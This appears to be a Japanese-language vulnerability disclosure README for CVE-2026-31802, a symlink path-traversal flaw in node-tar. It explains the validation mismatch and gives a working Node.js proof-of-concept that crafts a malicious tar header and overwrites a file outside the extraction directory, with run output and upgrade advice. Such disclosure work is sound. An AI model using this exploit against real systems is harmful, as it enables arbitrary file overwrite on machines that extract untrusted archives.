
CVE-2026-31802の概念実証と技術解説書。npm tarにおけるシンボリックリンクのパストラバーサルで、展開ディレクトリ外への任意のファイル上書きを可能にします。
このリポジトリには、npm の tar パッケージ(node-tar)のバージョン <= 7.5.10 に影響する高深刻度の脆弱性 CVE-2026-31802 に関する、私の概念実証と解説が含まれています。
tar は、C:../../../target.txt のようなドライブ相対のシンボリックリンクターゲットを使用することで、意図した展開ディレクトリの外側を指すシンボリックリンクを作成するよう騙される可能性があることを発見しました。実際には、これにより展開中に cwd から脱出し、アーカイブ展開を任意ファイル上書きプリミティブに変えることが可能になります。
このバグは、攻撃者が制御する tar アーカイブを使用した通常の展開動作を通じて到達可能です。
tar がシンボリックリンクの展開をどのように処理するかを調査している際に、特定の linkpath 値がサニタイズと検証の際に一貫性なく扱われていることに気付きました。特に、次のようなドライブ相対パスは:
C:../../../target.txt
使用前に書き換えられるものの、最終的に保存・適用されるのと同じ形式では検証されませんでした。
この不一致こそが、このバグを悪用可能にしている原因です。
この脆弱性は、展開中に tar が細工されたシンボリックリンクの linkpath 値を処理する方法に起因します。
大まかに言うと、展開ロジックは次のようなパスからドライブプレフィックスを除去します:
C:../../../target.txt
そして、次のように書き換えます:
../../../target.txt
しかし、トラバーサル安全性チェックは元のプレフィックス除去前の値に対して実行される一方、シンボリックリンクの作成は後で書き換えられた値を使用します。
つまり、悪意のあるアーカイブはパスの一方の形式を使用して検証を通過できる一方、ディスクに書き込まれる際には展開ディレクトリの外側をトラバースするシンボリックリンクを生成することができます。
悪意のあるアーカイブには、次のようなシンボリックリンクエントリを含めることができます:
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt
次のような通常の使用法で展開されると:
tar.x({ cwd, file })
以下のことが発生します:
linkpath からドライブプレフィックスが除去されます。cwd の外側のファイルに到達します。言い換えれば、展開ロジックはある値を検証し、別の値を使用します。このギャップがトラバーサルプリミティブを生み出します。
展開されたシンボリックリンクを展開ルートの外側を指すように作成し、その後ワーキングディレクトリの外側のファイルを上書きするために使用できることを実証するために、以下の PoC を作成しました。
PoC は:
../target.txt を作成しますa/b/l にシンボリックリンクエントリを持つ悪意のある tar アーカイブを構築しますlinkpath を C:../../../target.txt に設定しますa/b/l を通じて書き込みますPoC スクリプト:
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
npm install [email protected]
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt
PWNED は、展開ディレクトリの外側のファイルが上書きされたことを確認します。
readlink の出力とファイルリストは、展開されたシンボリックリンクが意図した展開ルートの外側を指していることを示しています。
この問題により、攻撃者は意図した展開ディレクトリの外側で任意ファイル上書きプリミティブを、展開を実行するプロセスの権限で得ることができます。
現実的なシナリオには以下が含まれます:
これらの環境では、細工されたアーカイブにより、アプリケーションが制御を期待するディレクトリの外側に書き込みが行われる可能性があります。
tar <= 7.5.10tar 7.5.11この問題は 7.5.11 で修正されました。
ユーザーは直ちにアップグレードする必要があります:
npm install tar@^7.5.11